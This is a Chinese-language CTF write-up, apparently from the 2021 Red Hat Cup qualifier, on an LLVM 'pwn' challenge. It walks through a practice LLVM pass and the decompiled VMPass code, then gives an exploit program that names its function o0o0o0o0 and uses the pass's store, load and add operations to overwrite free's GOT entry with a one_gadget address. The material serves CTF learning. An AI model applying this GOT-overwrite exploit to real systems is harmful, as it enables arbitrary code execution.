GitHub - fghcvjk/2021redhat: 第四届 “红帽杯” 网络安全大赛 - 初赛

对于 llvm pwn
需要三个组件 一个是 opt 用于将一个对 ir 操作的规则 so 加载到一个 lr or bc 文件里。从而完成 ir 层面的处理。

而这里已经给了 opt 与 so 我们要写的就是 bc 去利用这个 opt。

1
2
3
4
5
6
[*] '/home/squ/prac/pwn/opt-8'
Arch: amd64-64-little
RELRO: Partial RELRO X
Stack: No canary found X
NX: NX enabled √
PIE: No PIE (0x400000) X

# pass 练习

假设我要找到一个函数的所有调用

  • 拿到一个 function
  • 遍历所有 BasicBlock
  • 遍历 BB 中的所有 instruction
  • 根据 instruction 构造一个 CallBase 也就是这个 instruction 是存在调用的 (如果 dyn_cast 不出来就跳过 说明不是 call)
  • getNumOperands 可以得到所有操作数 记住 这里和 ghidra 一样 第一个 Operand 是函数地址
1
%9 = call i32 (ptr, ...) @printf(ptr noundef @.str)
  • 然后通过 getArgOperand cast 到 ConstantInt 再 getZExtValue 就能得到操作数的值 同样的 会有错误情况,比如是一个字符串不是数字 需要 continue
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/InstrTypes.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/IR/Constants.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"
#include <iostream>
using namespace llvm;
using std::cout;
using std::endl;
using std::string;
/* anonymous namespace. visible only to the current file. */
namespace {
struct Squ : public FunctionPass {
static char ID;
Squ() : FunctionPass(ID) {}

/* which overrides an abstract virtual method inherited from FunctionPass. */
bool runOnFunction(Function &F) override {
/* print the function name */
errs().write_escaped(F.getName()) << '\n';
/* BasicBlock iterator */
for(auto &BB_i : F){
/* Istruction iterator */
for(auto &I_i : BB_i){
Value *CalledFunction;
if(auto *CB = dyn_cast<CallBase>(&I_i)){
CalledFunction = CB->getCalledFunction();
StringRef Name = CalledFunction->getName();
unsigned int num = CB->getNumOperands();

errs() << "\tCall : " << Name << " with " \
<< num << " argus" << "\n";

for(auto i = 0; i < num - 1; i++){
ConstantInt *ci = dyn_cast<ConstantInt>(CB->getArgOperand(i));
// assert(ci != NULL);
if(ci == NULL) continue; // not a digital
errs() << "\t\t" << ci->getZExtValue();
}
errs() << "\n";
}
}
}
return false;
}
}; // end of struct Squ
} // end of anonymous namespace

/* LLVM uses ID’s address to identify a pass */
char Squ::ID = 0;
/* important here for cmd-line use */
static RegisterPass<Squ> X("squ", "squ Pass",
false /* Only looks at CFG */,
false /* Analysis Pass */);

static RegisterStandardPasses Y(
PassManagerBuilder::EP_EarlyAsPossible,
[](const PassManagerBuilder &Builder,
legacy::PassManagerBase &PM) { PM.add(new Squ()); });

# 分析

不过首先先分析他的 IR 规则 找到 start 这就是 ir 对象的注册点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int start()
{
int v1; // [rsp+18h] [rbp-68h]
int v2; // [rsp+28h] [rbp-58h]

if ( "VMPass" )
v2 = strlen("VMPass");
else
v2 = 0;
if ( "VMPass" )
v1 = strlen("VMPass");
else
v1 = 0;
sub_6510((unsigned int)&unk_20E990, (unsigned int)"VMPass", v2, (unsigned int)"VMPass", v1, 0, 0);
return __cxa_atexit(func, &unk_20E990, &off_20E548);
}

找到虚表 (Pass 类)

这个 6830 就是 runOnFunction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall sub_6830(__int64 a1, llvm::Value *a2)
{
__int64 v2; // rdx
bool v4; // [rsp+7h] [rbp-119h]
size_t v5; // [rsp+10h] [rbp-110h]
const void *Name; // [rsp+28h] [rbp-F8h]
__int64 v7; // [rsp+30h] [rbp-F0h]
int v8; // [rsp+94h] [rbp-8Ch]

Name = (const void *)llvm::Value::getName(a2);
v7 = v2;
if ( "o0o0o0o0" )
v5 = strlen("o0o0o0o0");
else
v5 = 0LL;
v4 = 0;
if ( v7 == v5 )
{
if ( v5 )
v8 = memcmp(Name, "o0o0o0o0", v5);
else
v8 = 0;
v4 = v8 == 0;
}
if ( v4 )
trigger(a1, a2);
return 0LL;
}

断点在 Name 后可以看到 llvm::Value::getName 获得的是函数名

1
2
pwndbg> x/s $rax
0x8241f0: "function1"

也就是我们函数名要为 o0o0o0o0 才能进入

然后跟入 此处有明显的迭代器痕迹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 __fastcall trigger(__int64 a1, llvm::Function *a2)
{
__int64 v3; // [rsp+20h] [rbp-30h]
__int64 v4; // [rsp+38h] [rbp-18h] BYREF
__int64 v5[2]; // [rsp+40h] [rbp-10h] BYREF

v5[1] = __readfsqword(0x28u);
v5[0] = llvm::Function::begin(a2);
while ( 1 )
{
v4 = llvm::Function::end(a2);
if ( (llvm::operator!=(v5, &v4) & 1) == 0 )
break;
/* 迭代器解引用 */
iter = llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator*(v5);
sub_6B80(a1, iter, 1LL);
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator++(
v5,
0LL);
}
return __readfsqword(0x28u);
}
  • llvm::CallBase::getCalledFunction : Returns the function called

对每个函数遍历后会在 sub_6B80 中对基本块遍历
从基本块中获取每一个指令 然后 getOpcode (比如 call store)
取出调用的函数名 比如 add(1,2) 这里就取出 add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
while ( 1 )
{
v38 = llvm::BasicBlock::end(a2);
if ( (llvm::operator!=(v39, &v38) & 1) == 0 )
break;
v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>((__int64)v39);
if ( (unsigned int)llvm::Instruction::getOpcode(v36) == '7' )
{
v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);
if ( v35 )
{
s1 = (char *)malloc(0x20uLL);
CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);
Name = (_QWORD *)llvm::Value::getName(CalledFunction);
*(_QWORD *)s1 = *Name;
*((_QWORD *)s1 + 1) = Name[1];
*((_QWORD *)s1 + 2) = Name[2];
*((_QWORD *)s1 + 3) = Name[3];

然后就是虚拟机程序了 根据调用的函数来进行虚拟机执行

  • REG_x 分别是 LOAD 段上的两个地址
  • 这里会先用 llvm::CallBase::getNumOperands 判断有几个参数
  • llvm::CallBase::getArgOperand (v35, 0) 然后获得第一个参数 (是类方法,所以 rdi 是自己的地址,第二个是参数的 idx)
  • llvm::dyn_cast 对象调用 llvm::ConstantInt::getZExtValue 就是是获得这个值的 0 拓展 GDB 验证了一下
  • 然后根据第一个参数是 0 是 1 对 REG_x 中存放的地址处写入别的 REG 中的内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
else if ( !strcmp(s1, "store") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v25 = llvm::CallBase::getArgOperand(v35, 0);
v24 = 0LL;
v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);
if ( v23 )
{
v22 = llvm::ConstantInt::getZExtValue(v23);
if ( v22 == 1 )
v24 = REG_1;
if ( v22 == 2 )
v24 = REG_2;
}
if ( v24 == REG_1 )
{
**(_QWORD **)REG_1 = *(_QWORD *)REG_2;
}
else if ( v24 == REG_2 )
{
**(_QWORD **)REG_2 = *(_QWORD *)REG_1;
}
}
}

剩下的分析也都大同小异

  • reg1 中给到 free_got 的值 (free 就在后面结束被调用)
  • free_got 里的内容写给 reg2
  • reg2 加上偏移得到 one_gadget
  • one_gadget store 回 free_got

由于我懒得换到小版本的 libc 了,所以就最后验证了一下写回

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void store(int a);
void load(int a);
void add(int a, int b);
void pop(int a);

#define FREE_GOT 0x77e100
void o0o0o0o0(){
add(1, FREE_GOT); // REG_1 = FREE_GOT
load(1); // REG_2 = content of FREE_GOT
add(2, 0x49434); // REG_2 += offset
store(1); // content of REG_1 = REG_2
}
int main(){
o0o0o0o0();
return 0;
}